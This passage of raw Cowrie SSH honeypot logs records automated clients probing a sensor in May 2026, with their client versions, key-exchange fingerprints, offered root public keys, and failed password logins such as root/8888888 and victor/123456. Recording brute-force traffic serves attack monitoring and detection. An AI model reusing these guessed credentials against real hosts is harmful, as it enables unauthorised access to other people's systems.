tm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:09.917201Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:0b:69:f6:51:8a:ad:50:bc:ed:d8:87:bd:13:40:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuEqgx7Ip1ftoHflGh3xA4dfOxDEBEu8OpF/ymiyUOdRYm/ePVamnUzEwyDNvuFT3IFs8y+wXzrIEpmWYhPBkA2AhTMHRQ2DCgor3kkmKWMwHFGAEhNZHV/r8sDag8Gtwep1+5ic8fiuglvWf6BKNULIbNHbS74VF91hvWmzGzWhWMlY8zc8djEdkxnVFzr6+G71klkDrAH/qjE2ajaxoZeF6j/5E1bwIlkPwPIDy4L0TopMYsQ42WuvtzDYiNW4isa84A7Zfy1QUGDgA6ZCYUp8gvkTVlLrCVuF9ti1M4kqdL63wngPvaQUoXwaNXUOV6+Afzfoyeon13mtNBOsDB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:0b:69:f6:51:8a:ad:50:bc:ed:d8:87:bd:13:40:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.003472Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:0b:69:f6:51:8a:ad:50:bc:ed:d8:87:bd:13:40:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuEqgx7Ip1ftoHflGh3xA4dfOxDEBEu8OpF/ymiyUOdRYm/ePVamnUzEwyDNvuFT3IFs8y+wXzrIEpmWYhPBkA2AhTMHRQ2DCgor3kkmKWMwHFGAEhNZHV/r8sDag8Gtwep1+5ic8fiuglvWf6BKNULIbNHbS74VF91hvWmzGzWhWMlY8zc8djEdkxnVFzr6+G71klkDrAH/qjE2ajaxoZeF6j/5E1bwIlkPwPIDy4L0TopMYsQ42WuvtzDYiNW4isa84A7Zfy1QUGDgA6ZCYUp8gvkTVlLrCVuF9ti1M4kqdL63wngPvaQUoXwaNXUOV6+Afzfoyeon13mtNBOsDB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.016619Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:df:63:e8:b8:09:49:a6:ca:28:1f:c2:4e:91:45:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzUbz/ITDjgoHk9tHHA8P40r4lLPY0ZxM7povU+JTPDiQLg2PLjhbZizQrUHRAoCM2/z6+VkHARpnllfuQtrPf5JbDwO3tRhjDUVxNLsD8/DK52HwK9eSVJVtQw2qDGqUd36cMPW1Haql/9aC26gkOYmMwgBaRPqbRf3pJWNkcHMS32urVoLGazcUROCfabxuusr8NuFltgajWorbK2P60nXQD1GddROnoMSd4N3PDlL4Yd253X/UIjKeXdrg1dT30ChiltV/VaywJadpEkb0RFxdHaoJqqdVdngumumOMOB11WKe14lyoUwU3HSdYY0+HJwIQldph8Qeg1A8dPzBWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:df:63:e8:b8:09:49:a6:ca:28:1f:c2:4e:91:45:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.041757Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:df:63:e8:b8:09:49:a6:ca:28:1f:c2:4e:91:45:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzUbz/ITDjgoHk9tHHA8P40r4lLPY0ZxM7povU+JTPDiQLg2PLjhbZizQrUHRAoCM2/z6+VkHARpnllfuQtrPf5JbDwO3tRhjDUVxNLsD8/DK52HwK9eSVJVtQw2qDGqUd36cMPW1Haql/9aC26gkOYmMwgBaRPqbRf3pJWNkcHMS32urVoLGazcUROCfabxuusr8NuFltgajWorbK2P60nXQD1GddROnoMSd4N3PDlL4Yd253X/UIjKeXdrg1dT30ChiltV/VaywJadpEkb0RFxdHaoJqqdVdngumumOMOB11WKe14lyoUwU3HSdYY0+HJwIQldph8Qeg1A8dPzBWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.047387Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:ee:d4:f9:93:9c:fa:97:0c:81:85:a3:84:1f:aa:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAewswYErvftdF829QGruYPasVwVEUJ5YoQQP8o8Ac7Dtbp40GHFBupXIIMz7W5LvwmMdRgrOMd7HOzCOG2LmPFIWHiw8PQALb8bG/1dWMA3x/2ar0yOTu+IUemt6WvfBAK0oPUdigP0WPQVrIq1PWX37H5Uixt8QAlkYrclzA2XdupNeU38zz8gjnIAD5qDxPoiGjagRRoy6q/4sUiemDCN6qIeBbjdb89ZuFpVNdjD4WhzjYZK3lgHQ/FWGxTH8NLxzAWknNR/EqySJNumjO+pJQE25ewgi7GsXs5CgN9ySC4ACQOwpuk5wBWmkFkp8SByuZYZMO21exJM/l0tzR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:ee:d4:f9:93:9c:fa:97:0c:81:85:a3:84:1f:aa:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.069368Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:ee:d4:f9:93:9c:fa:97:0c:81:85:a3:84:1f:aa:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAewswYErvftdF829QGruYPasVwVEUJ5YoQQP8o8Ac7Dtbp40GHFBupXIIMz7W5LvwmMdRgrOMd7HOzCOG2LmPFIWHiw8PQALb8bG/1dWMA3x/2ar0yOTu+IUemt6WvfBAK0oPUdigP0WPQVrIq1PWX37H5Uixt8QAlkYrclzA2XdupNeU38zz8gjnIAD5qDxPoiGjagRRoy6q/4sUiemDCN6qIeBbjdb89ZuFpVNdjD4WhzjYZK3lgHQ/FWGxTH8NLxzAWknNR/EqySJNumjO+pJQE25ewgi7GsXs5CgN9ySC4ACQOwpuk5wBWmkFkp8SByuZYZMO21exJM/l0tzR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.073929Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:32:c6:91:4f:f6:bc:df:a4:1f:f4:d9:ad:7d:f3:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHyikiuoZ014ia3kRgSInVGmURV89sdz2cuYXTIFhvQezPfA0eXEx4XiTWp88poCJU/BvFnl/5QEo1RXCnBIvKWavqBfunjFYZ6pT6K6G1jMdvzGW1chDVQ3ol24r3gatzmBbaPaOFXbGcL9lUfASs0SwDgqCt59lMxjZN4BNymJXIUseY3PTQbmvnsxo2WMm9roHuNQTh9KE2AmCS0/WsN2ASuemLGIdp33Eyu0hvTiUcn2LR38xg8E49pbcq2b1gFPc+vR4pnzX3cKWt3mlfdOPDIPLKAIrm4iO8sIONoDV8Et06Ey8xytDbH/5x3glHTOPQ0nlENGrumBbEJ9Z/rebifR4EBqIyMvthnnL0TZIJjzVMySqJZN9xqbG+k5ERcWdfmgpwgjgz6jLc+auvhgl//rr6In37lsBPwJjp5cKUJtQiIwBuqoMzfh7Sip7BeCO8Yp1TtqISGM+b+/7TsM1gW/xXVbrr1TFLXI8YPbVunqg7W7sjDkPJfJZgps9l9m14XvfY8trj/CP68CobTQ92kUtw2Li5TZMg+O6MAHmypkT6iYZWcoxa6QIZ3SZtq+j7vm+P5qepPvgKiJ2S2K5vqe+1jh89xxV4ACjs15akAGq7zn7CnQBSu8CPLReLvcIvS+ArIlf/Q9ds5PMhSjueb2zB8OI7YaDrFILpJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:32:c6:91:4f:f6:bc:df:a4:1f:f4:d9:ad:7d:f3:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.102675Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:32:c6:91:4f:f6:bc:df:a4:1f:f4:d9:ad:7d:f3:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHyikiuoZ014ia3kRgSInVGmURV89sdz2cuYXTIFhvQezPfA0eXEx4XiTWp88poCJU/BvFnl/5QEo1RXCnBIvKWavqBfunjFYZ6pT6K6G1jMdvzGW1chDVQ3ol24r3gatzmBbaPaOFXbGcL9lUfASs0SwDgqCt59lMxjZN4BNymJXIUseY3PTQbmvnsxo2WMm9roHuNQTh9KE2AmCS0/WsN2ASuemLGIdp33Eyu0hvTiUcn2LR38xg8E49pbcq2b1gFPc+vR4pnzX3cKWt3mlfdOPDIPLKAIrm4iO8sIONoDV8Et06Ey8xytDbH/5x3glHTOPQ0nlENGrumBbEJ9Z/rebifR4EBqIyMvthnnL0TZIJjzVMySqJZN9xqbG+k5ERcWdfmgpwgjgz6jLc+auvhgl//rr6In37lsBPwJjp5cKUJtQiIwBuqoMzfh7Sip7BeCO8Yp1TtqISGM+b+/7TsM1gW/xXVbrr1TFLXI8YPbVunqg7W7sjDkPJfJZgps9l9m14XvfY8trj/CP68CobTQ92kUtw2Li5TZMg+O6MAHmypkT6iYZWcoxa6QIZ3SZtq+j7vm+P5qepPvgKiJ2S2K5vqe+1jh89xxV4ACjs15akAGq7zn7CnQBSu8CPLReLvcIvS+ArIlf/Q9ds5PMhSjueb2zB8OI7YaDrFILpJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.106992Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:f7:57:f2:19:2e:17:dc:56:07:6d:eb:ed:d1:9d:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaWc7565lLWVya4azWW/E4xtXBL5G05ODr9jEH/G6s1u2WF3rm0KAWJKIh8RjWKj+aZnZUv/0TqC15juweih/VPc6SMniILR3jA0DUrkTCG2Kzmo0+lUIWwpkLjkJvf0iZPfHziSYkavxHLmBjJwQwV/mGp+O/5SkdVImBN7sEzmudT3+YYY5dgc8bZWMone7OmqWtHRlRJPWY+hR9UDd4Fj5RjedjQypvQSsopDZGGstDzgakPYLPbhYW/pbJZBJmgkmF+P1PvXs9niXnYKtgT5sheYzizER8FKGd7lctzDmNSvpP3jH8muPK45+xcAf9boilQw2hBkuyrnFuQnfH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:f7:57:f2:19:2e:17:dc:56:07:6d:eb:ed:d1:9d:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.126713Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:f7:57:f2:19:2e:17:dc:56:07:6d:eb:ed:d1:9d:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaWc7565lLWVya4azWW/E4xtXBL5G05ODr9jEH/G6s1u2WF3rm0KAWJKIh8RjWKj+aZnZUv/0TqC15juweih/VPc6SMniILR3jA0DUrkTCG2Kzmo0+lUIWwpkLjkJvf0iZPfHziSYkavxHLmBjJwQwV/mGp+O/5SkdVImBN7sEzmudT3+YYY5dgc8bZWMone7OmqWtHRlRJPWY+hR9UDd4Fj5RjedjQypvQSsopDZGGstDzgakPYLPbhYW/pbJZBJmgkmF+P1PvXs9niXnYKtgT5sheYzizER8FKGd7lctzDmNSvpP3jH8muPK45+xcAf9boilQw2hBkuyrnFuQnfH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.130940Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:10.156518Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36842,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5cb3ccba69f","protocol":"ssh","message":"New connection: 176.65.132.129:36842 (159.203.135.109:22) [session: f5cb3ccba69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:11.684911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:11.691266Z","src_ip":"176.65.132.129","session":"f5cb3ccba69f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:11.881667Z","src_ip":"176.65.132.129","session":"f5cb3ccba69f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:12.225260Z","src_ip":"176.65.132.129","session":"f5cb3ccba69f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:13.314129Z","src_ip":"176.65.132.129","session":"f5cb3ccba69f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":59148,"dst_ip":"159.203.135.109","dst_port":22,"session":"df7a1b798e51","protocol":"ssh","message":"New connection: 23.249.28.115:59148 (159.203.135.109:22) [session: df7a1b798e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:15.073570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:15.090054Z","src_ip":"23.249.28.115","session":"df7a1b798e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36850,"dst_ip":"159.203.135.109","dst_port":22,"session":"5854798c4412","protocol":"ssh","message":"New connection: 176.65.132.129:36850 (159.203.135.109:22) [session: 5854798c4412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:15.104969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:15.115533Z","src_ip":"176.65.132.129","session":"5854798c4412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:15.197763Z","src_ip":"176.65.132.129","session":"5854798c4412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:15.282228Z","src_ip":"23.249.28.115","session":"df7a1b798e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:15.450034Z","src_ip":"176.65.132.129","session":"5854798c4412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@0101","message":"login attempt [root/root@0101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:16.078762Z","src_ip":"23.249.28.115","session":"df7a1b798e51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:16.538153Z","src_ip":"176.65.132.129","session":"5854798c4412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:17.275159Z","src_ip":"23.249.28.115","session":"df7a1b798e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":52304,"dst_ip":"10.17.0.5","dst_port":22,"session":"447bfa82970b","protocol":"ssh","message":"New connection: 193.228.128.84:52304 (10.17.0.5:22) [session: 447bfa82970b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:17.733583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:17.740129Z","src_ip":"193.228.128.84","session":"447bfa82970b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:17.846245Z","src_ip":"193.228.128.84","session":"447bfa82970b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8888888","message":"login attempt [root/8888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:18.163001Z","src_ip":"193.228.128.84","session":"447bfa82970b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35812,"dst_ip":"159.203.135.109","dst_port":22,"session":"2943f98c40bf","protocol":"ssh","message":"New connection: 176.65.132.129:35812 (159.203.135.109:22) [session: 2943f98c40bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:18.420335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:18.426433Z","src_ip":"176.65.132.129","session":"2943f98c40bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"mac